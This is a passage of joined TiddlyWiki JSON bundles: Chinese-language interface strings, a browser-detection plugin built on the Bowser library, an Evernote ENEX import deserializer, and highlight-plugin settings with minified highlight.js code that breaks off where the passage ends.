        "$:/language/TiddlerInfo/Listed/Empty": {
            "title": "$:/language/TiddlerInfo/Listed/Empty",
            "text": "此条目未出现于其他条目的列表中"
        },
        "$:/language/TiddlerInfo/References/Caption": {
            "title": "$:/language/TiddlerInfo/References/Caption",
            "text": "参照"
        },
        "$:/language/TiddlerInfo/References/Empty": {
            "title": "$:/language/TiddlerInfo/References/Empty",
            "text": "无条目链接至此"
        },
        "$:/language/TiddlerInfo/Tagging/Caption": {
            "title": "$:/language/TiddlerInfo/Tagging/Caption",
            "text": "子条目"
        },
        "$:/language/TiddlerInfo/Tagging/Empty": {
            "title": "$:/language/TiddlerInfo/Tagging/Empty",
            "text": "无任何条目以此条目之标题为标签"
        },
        "$:/language/TiddlerInfo/Tools/Caption": {
            "title": "$:/language/TiddlerInfo/Tools/Caption",
            "text": "工具"
        },
        "$:/language/Docs/Types/application/javascript": {
            "title": "$:/language/Docs/Types/application/javascript",
            "description": "JavaScript 源码",
            "name": "application/javascript",
            "group": "开发者"
        },
        "$:/language/Docs/Types/application/json": {
            "title": "$:/language/Docs/Types/application/json",
            "description": "JSON 数据",
            "name": "application/json",
            "group": "开发者"
        },
        "$:/language/Docs/Types/application/x-tiddler-dictionary": {
            "title": "$:/language/Docs/Types/application/x-tiddler-dictionary",
            "description": "数据字典",
            "name": "application/x-tiddler-dictionary",
            "group": "开发者"
        },
        "$:/language/Docs/Types/image/gif": {
            "title": "$:/language/Docs/Types/image/gif",
            "description": "GIF 图像",
            "name": "image/gif",
            "group": "图像"
        },
        "$:/language/Docs/Types/image/jpeg": {
            "title": "$:/language/Docs/Types/image/jpeg",
            "description": "JPEG 图像",
            "name": "image/jpeg",
            "group": "图像"
        },
        "$:/language/Docs/Types/image/png": {
            "title": "$:/language/Docs/Types/image/png",
            "description": "PNG 图像",
            "name": "image/png",
            "group": "图像"
        },
        "$:/language/Docs/Types/image/svg+xml": {
            "title": "$:/language/Docs/Types/image/svg+xml",
            "description": "结构式矢量图",
            "name": "image/svg+xml",
            "group": "图像"
        },
        "$:/language/Docs/Types/image/x-icon": {
            "title": "$:/language/Docs/Types/image/x-icon",
            "description": "图标",
            "name": "image/x-icon",
            "group": "图像"
        },
        "$:/language/Docs/Types/text/css": {
            "title": "$:/language/Docs/Types/text/css",
            "description": "静态样式",
            "name": "text/css",
            "group": "开发者"
        },
        "$:/language/Docs/Types/text/html": {
            "title": "$:/language/Docs/Types/text/html",
            "description": "HTML 标记",
            "name": "text/html",
            "group": "文本"
        },
        "$:/language/Docs/Types/text/plain": {
            "title": "$:/language/Docs/Types/text/plain",
            "description": "纯文本",
            "name": "text/plain",
            "group": "文本"
        },
        "$:/language/Docs/Types/text/vnd.tiddlywiki": {
            "title": "$:/language/Docs/Types/text/vnd.tiddlywiki",
            "description": "TiddlyWiki 5",
            "name": "text/vnd.tiddlywiki",
            "group": "文本"
        },
        "$:/language/Docs/Types/text/x-tiddlywiki": {
            "title": "$:/language/Docs/Types/text/x-tiddlywiki",
            "description": "TiddlyWiki 2",
            "name": "text/x-tiddlywiki",
            "group": "文本"
        },
        "$:/config/Search/MinLength": {
            "title": "$:/config/Search/MinLength",
            "text": "1"
        },
        "$:/languages/zh-Hans/icon": {
            "title": "$:/languages/zh-Hans/icon",
            "type": "image/svg+xml",
            "text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n<svg xmlns=\"http://www.w3.org/2000/svg\" version=\"1.1\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"1500\" height=\"1000\" viewBox=\"-5 -5 30 20\">\n<title>Flag of the People's Republic of China</title>\n<rect fill=\"#de2910\" x=\"-5\" y=\"-5\" width=\"30\" height=\"20\"/>\n<defs>\n<polygon id=\"s\" points=\"0,-513674 301930,415571 -488533,-158734 488533,-158734 -301930,415571\"\nfill=\"#ffde00\" transform=\"scale(0.0000019467600073)\"/>\n</defs>\n<use xlink:href=\"#s\" transform=\"scale(3)\"/>\n<use xlink:href=\"#s\" transform=\"translate(5,-3) rotate(-120.963756)\"/>\n<use xlink:href=\"#s\" transform=\"translate(7,-1) rotate(-98.130102)\"/>\n<use xlink:href=\"#s\" transform=\"translate(7,2) rotate(-74.054604)\"/>\n<use xlink:href=\"#s\" transform=\"translate(5,4) rotate(-51.3401917)\"/>\n</svg>\n"
        }
    }
}
$:/palettes/SolarFlare
{
    "tiddlers": {
        "$:/plugins/tiddlywiki/browser-sniff/sniff.js": {
            "title": "$:/plugins/tiddlywiki/browser-sniff/sniff.js",
            "text": "/*\\\ntitle: $:/plugins/tiddlywiki/browser-sniff/sniff.js\ntype: application/javascript\nmodule-type: info\n\nInitialise $:/info/browser tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.getInfoTiddlerFields = function() {\n\tvar mapBoolean = function(value) {return value ? \"yes\" : \"no\";},\n\t\tinfoTiddlerFields = [];\n\t// Basics\n\tif($tw.browser) {\n\t\t// Mappings from tiddler titles (prefixed with \"$:/info/browser/\") to bowser.browser property name\n\t\tvar bowser = require(\"$:/plugins/tiddlywiki/browser-sniff/bowser/bowser.js\"),\n\t\t\tmappings = [\n\t\t\t\t[\"name\",\"name\",\"unknown\"],\n\t\t\t\t[\"version\",\"version\"],\n\t\t\t\t[\"is/webkit\",\"webkit\"],\n\t\t\t\t[\"is/gecko\",\"gecko\"],\n\t\t\t\t[\"is/chrome\",\"chrome\"],\n\t\t\t\t[\"is/firefox\",\"firefox\"],\n\t\t\t\t[\"is/ios\",\"ios\"],\n\t\t\t\t[\"is/iphone\",\"iphone\"],\n\t\t\t\t[\"is/ipad\",\"ipad\"],\n\t\t\t\t[\"is/ipod\",\"ios\"],\n\t\t\t\t[\"is/opera\",\"opera\"],\n\t\t\t\t[\"is/phantomjs\",\"phantomjs\"],\n\t\t\t\t[\"is/safari\",\"safari\"],\n\t\t\t\t[\"is/seamonkey\",\"seamonkey\"],\n\t\t\t\t[\"is/blackberry\",\"blackberry\"],\n\t\t\t\t[\"is/webos\",\"webos\"],\n\t\t\t\t[\"is/silk\",\"silk\"],\n\t\t\t\t[\"is/bada\",\"bada\"],\n\t\t\t\t[\"is/tizen\",\"tizen\"],\n\t\t\t\t[\"is/sailfish\",\"sailfish\"],\n\t\t\t\t[\"is/android\",\"android\"],\n\t\t\t\t[\"is/windowsphone\",\"windowsphone\"],\n\t\t\t\t[\"is/firefoxos\",\"firefoxos\"]\n\t\t\t];\n\t\t$tw.utils.each(mappings,function(mapping) {\n\t\t\tvar value = bowser.browser[mapping[1]];\n\t\t\tif(value === undefined) {\n\t\t\t\tvalue = mapping[2];\n\t\t\t}\n\t\t\tif(value === undefined) {\n\t\t\t\tvalue = false;\n\t\t\t}\n\t\t\tif(typeof value === \"boolean\") {\n\t\t\t\tvalue = mapBoolean(value);\n\t\t\t}\n\t\t\tinfoTiddlerFields.push({title: \"$:/info/browser/\" + mapping[0], text: value});\n\t\t});\n\t\t// Set $:/info/browser/name to the platform with some changes from Bowser\n\t\tvar platform = bowser.browser.name;\n\t\tif(\"iPad iPhone iPod\".split(\" \").indexOf(platform) !== -1) {\n\t\t\tplatform = \"iOS\";\n\t\t}\n\t\tinfoTiddlerFields.push({title: \"$:/info/browser/name\", text: platform});\n\t\t// Non-bowser settings for TiddlyFox and TiddlyDesktop\n\t\tvar hasTiddlyFox = !!document.getElementById(\"tiddlyfox-message-box\"), // Fails because message box is added after page load\n\t\t\tisTiddlyDesktop = false; // Can't detect it until we update TiddlyDesktop to have a distinct useragent string\n\t\t//infoTiddlerFields.push({title: \"$:/info/browser/has/tiddlyfox\", text: mapBoolean(hasTiddlyFox)});\n\t\t//infoTiddlerFields.push({title: \"$:/info/browser/is/tiddlydesktop\", text: mapBoolean(isTiddlyDesktop)});\n\t\tif(isTiddlyDesktop) {\n\t\t\tinfoTiddlerFields.push({title: \"$:/info/browser/name\", text: \"TiddlyDesktop\"});\n\t\t}\n\t}\n\treturn infoTiddlerFields;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "info"
        },
        "$:/plugins/tiddlywiki/browser-sniff/bowser/bowser.js": {
            "text": "/*!\n  * Bowser - a browser detector\n  * https://github.com/ded/bowser\n  * MIT License | (c) Dustin Diaz 2014\n  */\n\n!function (name, definition) {\n  if (typeof module != 'undefined' && module.exports) module.exports['browser'] = definition()\n  else if (typeof define == 'function') define(definition)\n  else this[name] = definition()\n}('bowser', function () {\n  /**\n    * See useragents.js for examples of navigator.userAgent\n    */\n\n  var t = true\n\n  function detect(ua) {\n\n    function getFirstMatch(regex) {\n      var match = ua.match(regex);\n      return (match && match.length > 1 && match[1]) || '';\n    }\n\n    var iosdevice = getFirstMatch(/(ipod|iphone|ipad)/i).toLowerCase()\n      , likeAndroid = /like android/i.test(ua)\n      , android = !likeAndroid && /android/i.test(ua)\n      , versionIdentifier = getFirstMatch(/version\\/(\\d+(\\.\\d+)?)/i)\n      , tablet = /tablet/i.test(ua)\n      , mobile = !tablet && /[^-]mobi/i.test(ua)\n      , result\n\n    if (/opera|opr/i.test(ua)) {\n      result = {\n        name: 'Opera'\n      , opera: t\n      , version: versionIdentifier || getFirstMatch(/(?:opera|opr)[\\s\\/](\\d+(\\.\\d+)?)/i)\n      }\n    }\n    else if (/windows phone/i.test(ua)) {\n      result = {\n        name: 'Windows Phone'\n      , windowsphone: t\n      , msie: t\n      , version: getFirstMatch(/iemobile\\/(\\d+(\\.\\d+)?)/i)\n      }\n    }\n    else if (/msie|trident/i.test(ua)) {\n      result = {\n        name: 'Internet Explorer'\n      , msie: t\n      , version: getFirstMatch(/(?:msie |rv:)(\\d+(\\.\\d+)?)/i)\n      }\n    }\n    else if (/chrome|crios|crmo/i.test(ua)) {\n      result = {\n        name: 'Chrome'\n      , chrome: t\n      , version: getFirstMatch(/(?:chrome|crios|crmo)\\/(\\d+(\\.\\d+)?)/i)\n      }\n    }\n    else if (iosdevice) {\n      result = {\n        name : iosdevice == 'iphone' ? 'iPhone' : iosdevice == 'ipad' ? 'iPad' : 'iPod'\n      }\n      // WTF: version is not part of user agent in web apps\n      if (versionIdentifier) {\n        result.version = versionIdentifier\n      }\n    }\n    else if (/sailfish/i.test(ua)) {\n      result = {\n        name: 'Sailfish'\n      , sailfish: t\n      , version: getFirstMatch(/sailfish\\s?browser\\/(\\d+(\\.\\d+)?)/i)\n      }\n    }\n    else if (/seamonkey\\//i.test(ua)) {\n      result = {\n        name: 'SeaMonkey'\n      , seamonkey: t\n      , version: getFirstMatch(/seamonkey\\/(\\d+(\\.\\d+)?)/i)\n      }\n    }\n    else if (/firefox|iceweasel/i.test(ua)) {\n      result = {\n        name: 'Firefox'\n      , firefox: t\n      , version: getFirstMatch(/(?:firefox|iceweasel)[ \\/](\\d+(\\.\\d+)?)/i)\n      }\n      if (/\\((mobile|tablet);[^\\)]*rv:[\\d\\.]+\\)/i.test(ua)) {\n        result.firefoxos = t\n      }\n    }\n    else if (/silk/i.test(ua)) {\n      result =  {\n        name: 'Amazon Silk'\n      , silk: t\n      , version : getFirstMatch(/silk\\/(\\d+(\\.\\d+)?)/i)\n      }\n    }\n    else if (android) {\n      result = {\n        name: 'Android'\n      , version: versionIdentifier\n      }\n    }\n    else if (/phantom/i.test(ua)) {\n      result = {\n        name: 'PhantomJS'\n      , phantom: t\n      , version: getFirstMatch(/phantomjs\\/(\\d+(\\.\\d+)?)/i)\n      }\n    }\n    else if (/blackberry|\\bbb\\d+/i.test(ua) || /rim\\stablet/i.test(ua)) {\n      result = {\n        name: 'BlackBerry'\n      , blackberry: t\n      , version: versionIdentifier || getFirstMatch(/blackberry[\\d]+\\/(\\d+(\\.\\d+)?)/i)\n      }\n    }\n    else if (/(web|hpw)os/i.test(ua)) {\n      result = {\n        name: 'WebOS'\n      , webos: t\n      , version: versionIdentifier || getFirstMatch(/w(?:eb)?osbrowser\\/(\\d+(\\.\\d+)?)/i)\n      };\n      /touchpad\\//i.test(ua) && (result.touchpad = t)\n    }\n    else if (/bada/i.test(ua)) {\n      result = {\n        name: 'Bada'\n      , bada: t\n      , version: getFirstMatch(/dolfin\\/(\\d+(\\.\\d+)?)/i)\n      };\n    }\n    else if (/tizen/i.test(ua)) {\n      result = {\n        name: 'Tizen'\n      , tizen: t\n      , version: getFirstMatch(/(?:tizen\\s?)?browser\\/(\\d+(\\.\\d+)?)/i) || versionIdentifier\n      };\n    }\n    else if (/safari/i.test(ua)) {\n      result = {\n        name: 'Safari'\n      , safari: t\n      , version: versionIdentifier\n      }\n    }\n    else result = {}\n\n    // set webkit or gecko flag for browsers based on these engines\n    if (/(apple)?webkit/i.test(ua)) {\n      result.name = result.name || \"Webkit\"\n      result.webkit = t\n      if (!result.version && versionIdentifier) {\n        result.version = versionIdentifier\n      }\n    } else if (!result.opera && /gecko\\//i.test(ua)) {\n      result.name = result.name || \"Gecko\"\n      result.gecko = t\n      result.version = result.version || getFirstMatch(/gecko\\/(\\d+(\\.\\d+)?)/i)\n    }\n\n    // set OS flags for platforms that have multiple browsers\n    if (android || result.silk) {\n      result.android = t\n    } else if (iosdevice) {\n      result[iosdevice] = t\n      result.ios = t\n    }\n\n    // OS version extraction\n    var osVersion = '';\n    if (iosdevice) {\n      osVersion = getFirstMatch(/os (\\d+([_\\s]\\d+)*) like mac os x/i);\n      osVersion = osVersion.replace(/[_\\s]/g, '.');\n    } else if (android) {\n      osVersion = getFirstMatch(/android[ \\/-](\\d+(\\.\\d+)*)/i);\n    } else if (result.windowsphone) {\n      osVersion = getFirstMatch(/windows phone (?:os)?\\s?(\\d+(\\.\\d+)*)/i);\n    } else if (result.webos) {\n      osVersion = getFirstMatch(/(?:web|hpw)os\\/(\\d+(\\.\\d+)*)/i);\n    } else if (result.blackberry) {\n      osVersion = getFirstMatch(/rim\\stablet\\sos\\s(\\d+(\\.\\d+)*)/i);\n    } else if (result.bada) {\n      osVersion = getFirstMatch(/bada\\/(\\d+(\\.\\d+)*)/i);\n    } else if (result.tizen) {\n      osVersion = getFirstMatch(/tizen[\\/\\s](\\d+(\\.\\d+)*)/i);\n    }\n    if (osVersion) {\n      result.osversion = osVersion;\n    }\n\n    // device type extraction\n    var osMajorVersion = osVersion.split('.')[0];\n    if (tablet || iosdevice == 'ipad' || (android && (osMajorVersion == 3 || (osMajorVersion == 4 && !mobile))) || result.silk) {\n      result.tablet = t\n    } else if (mobile || iosdevice == 'iphone' || iosdevice == 'ipod' || android || result.blackberry || result.webos || result.bada) {\n      result.mobile = t\n    }\n\n    // Graded Browser Support\n    // http://developer.yahoo.com/yui/articles/gbs\n    if ((result.msie && result.version >= 10) ||\n        (result.chrome && result.version >= 20) ||\n        (result.firefox && result.version >= 20.0) ||\n        (result.safari && result.version >= 6) ||\n        (result.opera && result.version >= 10.0) ||\n        (result.ios && result.osversion && result.osversion.split(\".\")[0] >= 6)\n        ) {\n      result.a = t;\n    }\n    else if ((result.msie && result.version < 10) ||\n        (result.chrome && result.version < 20) ||\n        (result.firefox && result.version < 20.0) ||\n        (result.safari && result.version < 6) ||\n        (result.opera && result.version < 10.0) ||\n        (result.ios && result.osversion && result.osversion.split(\".\")[0] < 6)\n        ) {\n      result.c = t\n    } else result.x = t\n\n    return result\n  }\n\n  var bowser = detect(typeof navigator !== 'undefined' ? navigator.userAgent : '')\n\n\n  /*\n   * Set our detect method to the main bowser object so we can\n   * reuse it to test other user agents.\n   * This is needed to implement future tests.\n   */\n  bowser._detect = detect;\n\n  return bowser\n});\n",
            "type": "application/javascript",
            "title": "$:/plugins/tiddlywiki/browser-sniff/bowser/bowser.js",
            "module-type": "library"
        },
        "$:/plugins/tiddlywiki/browser-sniff/readme": {
            "title": "$:/plugins/tiddlywiki/browser-sniff/readme",
            "text": "This plugin adds a number of `$:/info/` tiddlers containing information about the current browser.\n\nIt allows you to create content that is presented in a way that is responsive to different browsers.\n\nFor example, https://tiddlywiki.com uses this plugin to present the user with the best options for getting started depending on their browser.\n\n[[Source code|https://github.com/Jermolene/TiddlyWiki5/blob/master/plugins/tiddlywiki/browser-sniff]]\n"
        },
        "$:/plugins/tiddlywiki/browser-sniff/usage": {
            "title": "$:/plugins/tiddlywiki/browser-sniff/usage",
            "text": "! Information Tiddlers\n\nThe following informational tiddlers are created at startup:\n\n|!Title |!Description |\n|[[$:/info/browser/is/android]] |Running on Android? (\"yes\" or \"no\")  |\n|[[$:/info/browser/is/bada]] |Running on Bada? (\"yes\" or \"no\")  |\n|[[$:/info/browser/is/blackberry]] |Running on ~BlackBerry? (\"yes\" or \"no\")  |\n|[[$:/info/browser/is/chrome]] |Running on Chrome? (\"yes\" or \"no\")  |\n|[[$:/info/browser/is/firefox]] |Running on Firefox? (\"yes\" or \"no\")  |\n|[[$:/info/browser/is/firefoxos]] |Running on Firefox OS? (\"yes\" or \"no\")  |\n|[[$:/info/browser/is/gecko]] |Running on Gecko? (\"yes\" or \"no\")  |\n|[[$:/info/browser/is/ios]] |Running on iOS (ie an iPhone, iPad or iPod)? (\"yes\" or \"no\")  |\n|[[$:/info/browser/is/ipad]] |Running on iPad? (\"yes\" or \"no\")  |\n|[[$:/info/browser/is/iphone]] |Running on iPhone? (\"yes\" or \"no\")  |\n|[[$:/info/browser/is/ipod]] |Running on iPod? (\"yes\" or \"no\")  |\n|[[$:/info/browser/is/opera]] |Running on Opera? (\"yes\" or \"no\")  |\n|[[$:/info/browser/is/phantomjs]] |Running on ~PhantomJS? (\"yes\" or \"no\")  |\n|[[$:/info/browser/is/safari]] |Running on Safari? (\"yes\" or \"no\")  |\n|[[$:/info/browser/is/sailfish]] |Running on Sailfish? (\"yes\" or \"no\")  |\n|[[$:/info/browser/is/seamonkey]] |Running on Sea Monkey? (\"yes\" or \"no\")  |\n|[[$:/info/browser/is/silk]] |Running on Amazon's Silk? (\"yes\" or \"no\")  |\n|[[$:/info/browser/is/tizen]] |Running on Tizen? (\"yes\" or \"no\")  |\n|[[$:/info/browser/is/webkit]] |Running on ~WebKit? (\"yes\" or \"no\")  |\n|[[$:/info/browser/is/webos]] |Running on ~WebOS? (\"yes\" or \"no\")  |\n|[[$:/info/browser/is/windowsphone]] |Running on Windows Phone? (\"yes\" or \"no\")  |\n|[[$:/info/browser/name]] |Platform name (see below) |\n|[[$:/info/browser/version]] |Browser version |\n\nThe browser information is obtained with [[Bowser, a browser detector library from Dustin Diaz|https://github.com/ded/bowser/]]. Possible browser names include:\n\n* ''\"Amazon Silk\"''\n* ''\"Android\"''\n* ''\"Bada\"''\n* ''\"~BlackBerry\"''\n* ''\"Chrome\"''\n* ''\"Firefox\"''\n* ''\"Internet Explorer\"''\n* ''\"iOS\"''\n* ''\"Opera\"''\n* ''\"~PhantomJS\"''\n* ''\"Safari\"''\n* ''\"Sailfish\"''\n* ''\"~SeaMonkey\"''\n* ''\"~TiddlyDesktop\"''\n* ''\"Tizen\"''\n* ''\"~WebOS\"''\n* ''\"Windows Phone\"''\n\nNote that Bowser returns \"iPhone\", \"iPad\" and \"iPod\" as distinct values for the name of the current browser. TiddlyWiki converts all three distinct values into \"iOS\" before copying to [[$:/info/browser/name]].\n"
        }
    }
}
{
    "tiddlers": {
        "$:/plugins/tiddlywiki/evernote/docs": {
            "title": "$:/plugins/tiddlywiki/evernote/docs",
            "text": "! Introduction\n\n"
        },
        "$:/plugins/tiddlywiki/evernote/modules/enex-deserializer.js": {
            "title": "$:/plugins/tiddlywiki/evernote/modules/enex-deserializer.js",
            "text": "/*\\\ntitle: $:/plugins/tiddlywiki/evernote/modules/enex-deserializer.js\ntype: application/javascript\nmodule-type: tiddlerdeserializer\n\nENEX file deserializer\n\nFor details see: https://blog.evernote.com/tech/2013/08/08/evernote-export-format-enex/\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// DOMParser = require(\"$:/plugins/tiddlywiki/xmldom/dom-parser\").DOMParser;\n\n/*\nParse an ENEX file into tiddlers\n*/\nexports[\"application/enex+xml\"] = function(text,fields) {\n\t// Collect output tiddlers in an array\n\tvar results = [];\n\t// Parse the XML document\n\tvar parser = new DOMParser(),\n\t\tdoc = parser.parseFromString(text,\"application/xml\");\n\t// Output a report tiddler with information about the import\n\tvar enex = doc.querySelector(\"en-export\");\n\tresults.push({\n\t\ttitle: \"Evernote Import Report\",\n\t\ttext: \"Evernote file imported on \" + enex.getAttribute(\"export-date\") + \" from \" + enex.getAttribute(\"application\") + \" (\" + enex.getAttribute(\"version\") + \")\"\n\t})\n\t// Get all the \"note\" nodes\n\tvar noteNodes = doc.querySelectorAll(\"note\");\n\t$tw.utils.each(noteNodes,function(noteNode) {\n\t\tvar result = {\n\t\t\ttitle: getTextContent(noteNode,\"title\"),\n\t\t\ttype: \"text/html\",\n\t\t\ttags: [],\n\t\t\ttext: getTextContent(noteNode,\"content\"),\n\t\t\tmodified: convertDate(getTextContent(noteNode,\"created\")),\n\t\t\tcreated:  convertDate(getTextContent(noteNode,\"created\"))\n\n\t\t};\n\t\t$tw.utils.each(noteNode.querySelectorAll(\"tag\"),function(tagNode) {\n\t\t\tresult.tags.push(tagNode.textContent);\n\t\t});\n\t\t// If there's an update date, set modifiy date accordingly\n\t\tvar update = getTextContent(noteNode,\"updated\");\n\t\tif(update) {\n\t\t\tresult.modified = convertDate(update);\n\t\t}\n\t\t$tw.utils.each(noteNode.querySelectorAll(\"note-attributes>*\"),function(attrNode) {\n\t\t\tresult[attrNode.tagName] = attrNode.textContent;\n\t\t});\n\t\tresults.push(result);\n\t\t$tw.utils.each(noteNode.querySelectorAll(\"resource\"),function(resourceNode) {\n\t\t\tresults.push({\n\t\t\t\ttitle: getTextContent(resourceNode,\"resource-attributes>file-name\"),\n\t\t\t\ttype: getTextContent(resourceNode,\"mime\"),\n\t\t\t\twidth: getTextContent(resourceNode,\"width\"),\n\t\t\t\theight: getTextContent(resourceNode,\"height\"),\n\t\t\t\ttext: getTextContent(resourceNode,\"data\")\n\t\t\t});\n\t\t});\n\t});\n\t// Return the output tiddlers\n\treturn results;\n};\n\nfunction getTextContent(node,selector) {\n\treturn (node.querySelector(selector) || {}).textContent;\n}\n\nfunction convertDate(isoDate) {\n\treturn (isoDate || \"\").replace(\"T\",\"\").replace(\"Z\",\"\") + \"000\"\n}\n\n})();\n",
            "type": "application/javascript",
            "module-type": "tiddlerdeserializer"
        },
        "$:/plugins/tiddlywiki/evernote/readme": {
            "title": "$:/plugins/tiddlywiki/evernote/readme",
            "text": "This plugin contains tool to assist migration of content from Evernote ENEX files.\n\n!! Instructions\n\n# Download or save your ENEX file from Evernote\n# Rename the file to have an `.enex` extension\n# Drag the file into the TiddlyWiki browser window\n## Alternatively, click the \"Import\" button in the \"Tools\" sidebar tab\n# Review and accept the converted tiddlers\n"
        }
    }
}
{
    "tiddlers": {
        "$:/config/HighlightPlugin/TypeMappings/application/javascript": {
            "title": "$:/config/HighlightPlugin/TypeMappings/application/javascript",
            "text": "javascript"
        },
        "$:/config/HighlightPlugin/TypeMappings/application/json": {
            "title": "$:/config/HighlightPlugin/TypeMappings/application/json",
            "text": "json"
        },
        "$:/config/HighlightPlugin/TypeMappings/text/css": {
            "title": "$:/config/HighlightPlugin/TypeMappings/text/css",
            "text": "css"
        },
        "$:/config/HighlightPlugin/TypeMappings/text/html": {
            "title": "$:/config/HighlightPlugin/TypeMappings/text/html",
            "text": "html"
        },
        "$:/config/HighlightPlugin/TypeMappings/image/svg+xml": {
            "title": "$:/config/HighlightPlugin/TypeMappings/image/svg+xml",
            "text": "xml"
        },
        "$:/config/HighlightPlugin/TypeMappings/text/x-markdown": {
            "title": "$:/config/HighlightPlugin/TypeMappings/text/x-markdown",
            "text": "markdown"
        },
        "$:/plugins/tiddlywiki/highlight/highlight.js": {
            "text": "var hljs = require(\"$:/plugins/tiddlywiki/highlight/highlight.js\");\n!function(e){\"undefined\"!=typeof exports?e(exports):(window.hljs=e({}),\"function\"==typeof define&&define.amd&&define(\"hljs\",[],function(){return window.hljs}))}(function(e){function n(e){return e.replace(/&/gm,\"&amp;\").replace(/</gm,\"&lt;\").replace(/>/gm,\"&gt;\")}function t(e){return e.nodeName.toLowerCase()}function r(e,n){var t=e&&e.exec(n);return t&&0==t.index}function a(e){return/^(no-?highlight|plain|text)$/i.test(e)}function i(e){var n,t,r,i=e.className+\" \";if(i+=e.parentNode?e.parentNode.className:\"\",t=/\\blang(?:uage)?-([\\w-]+)\\b/i.exec(i))return w(t[1])?t[1]:\"no-highlight\";for(i=i.split(/\\s+/),n=0,r=i.length;r>n;n++)if(w(i[n])||a(i[n]))return i[n]}function o(e,n){var t,r={};for(t in e)r[t]=e[t];if(n)for(t in n)r[t]=n[t];return r}function u(e){var n=[];return function r(e,a){for(var i=e.firstChild;i;i=i.nextSibling)3==i.nodeType?a+=i.nodeValue.length:1==i.nodeType&&(n.push({event:\"start\",offset:a,node:i}),a=r(i,a),t(i).match(/br|hr|img|input/)||n.push({event:\"stop\",offset:a,node:i}));return a}(e,0),n}function c(e,r,a){function i(){return e.length&&r.length?e[0].offset!=r[0].offset?e[0].offset<r[0].offset?e:r:\"start\"==r[0].event?e:r:e.length?e:r}function o(e){function r(e){return\" \"+e.nodeName+'=\"'+n(e.value)+'\"'}f+=\"<\"+t(e)+Array.prototype.map.call(e.attributes,r).join(\"\")+\">\"}function u(e){f+=\"</\"+t(e)+\">\"}function c(e){(\"start\"==e.event?o:u)(e.node)}for(var s=0,f=\"\",l=[];e.length||r.length;){var g=i();if(f+=n(a.substr(s,g[0].offset-s)),s=g[0].offset,g==e){l.reverse().forEach(u);do c(g.splice(0,1)[0]),g=i();while(g==e&&g.length&&g[0].offset==s);l.reverse().forEach(o)}else\"start\"==g[0].event?l.push(g[0].node):l.pop(),c(g.splice(0,1)[0])}return f+n(a.substr(s))}function s(e){function n(e){return e&&e.source||e}function t(t,r){return new RegExp(n(t),\"m\"+(e.cI?\"i\":\"\")+(r?\"g\":\"\"))}function r(a,i){if(!a.compiled){if(a.compiled=!0,a.k=a.k||a.bK,a.k){var u={},c=function(n,t){e.cI&&(t=t.toLowerCase()),t.split(\" \").forEach(function(e){var t=e.split(\"|\");u[t[0]]=[n,t[1]?Number(t[1]):1]})};\"string\"==typeof a.k?c(\"keyword\",a.k):Object.keys(a.k).forEach(function(e){c(e,a.k[e])}),a.k=u}a.lR=t(a.l||/\\b\\w+\\b/,!0),i&&(a.bK&&(a.b=\"\\\\b(\"+a.bK.split(\" \").join(\"|\")+\")\\\\b\"),a.b||(a.b=/\\B|\\b/),a.bR=t(a.b),a.e||a.eW||(a.e=/\\B|\\b/),a.e&&(a.eR=t(a.e)),a.tE=n(a.e)||\"\",a.eW&&i.tE&&(a.tE+=(a.e?\"|\":\"\")+i.tE)),a.i&&(a.iR=t(a.i)),void 0===a.r&&(a.r=1),a.c||(a.c=[]);var s=[];a.c.forEach(function(e){e.v?e.v.forEach(function(n){s.push(o(e,n))}):s.push(\"self\"==e?a:e)}),a.c=s,a.c.forEach(function(e){r(e,a)}),a.starts&&r(a.starts,i);var f=a.c.map(function(e){return e.bK?\"\\\\.?(\"+e.b+\")\\\\.?\":e.b}).concat([a.tE,a.i]).map(n).filter(Boolean);a.t=f.length?t(f.join(\"|\"),!0):{exec:function(){return null}}}}r(e)}function f(e,t,a,i){function o(e,n){for(var t=0;t<n.c.length;t++)if(r(n.c[t].bR,e))return n.c[t]}function u(e,n){if(r(e.eR,n)){for(;e.endsParent&&e.parent;)e=e.parent;return e}return e.eW?u(e.parent,n):void 0}function c(e,n){return!a&&r(n.iR,e)}function g(e,n){var t=N.cI?n[0].toLowerCase():n[0];return e.k.hasOwnProperty(t)&&e.k[t]}function h(e,n,t,r){var a=r?\"\":E.classPrefix,i='<span class=\"'+a,o=t?\"\":\"</span>\";return i+=e+'\">',i+n+o}function p(){if(!L.k)return n(y);var e=\"\",t=0;L.lR.lastIndex=0;for(var r=L.lR.exec(y);r;){e+=n(y.substr(t,r.index-t));var a=g(L,r);a?(B+=a[1],e+=h(a[0],n(r[0]))):e+=n(r[0]),t=L.lR.lastIndex,r=L.lR.exec(y)}return e+n(y.substr(t))}function d(){var e=\"string\"==typeof L.sL;if(e&&!x[L.sL])return n(y);var t=e?f(L.sL,y,!0,M[L.sL]):l(y,L.sL.length?L.sL:void 0);return L.r>0&&(B+=t.r),e&&(M[L.sL]=t.top),h(t.language,t.value,!1,!0)}function b(){return void 0!==L.sL?d():p()}function v(e,t){var r=e.cN?h(e.cN,\"\",!0):\"\";e.rB?(k+=r,y=\"\"):e.eB?(k+=n(t)+r,y=\"\"):(k+=r,y=t),L=Object.create(e,{parent:{value:L}})}function m(e,t){if(y+=e,void 0===t)return k+=b(),0;var r=o(t,L);if(r)return k+=b(),v(r,t),r.rB?0:t.length;var a=u(L,t);if(a){var i=L;i.rE||i.eE||(y+=t),k+=b();do L.cN&&(k+=\"</span>\"),B+=L.r,L=L.parent;while(L!=a.parent);return i.eE&&(k+=n(t)),y=\"\",a.starts&&v(a.starts,\"\"),i.rE?0:t.length}if(c(t,L))throw new Error('Illegal lexeme \"'+t+'\" for mode \"'+(L.cN||\"<unnamed>\")+'\"');return y+=t,t.length||1}var N=w(e);if(!N)throw new Error('Unknown language: \"'+e+'\"');s(N);var R,L=i||N,M={},k=\"\";for(R=L;R!=N;R=R.parent)R.cN&&(k=h(R.cN,\"\",!0)+k);var y=\"\",B=0;try{for(var 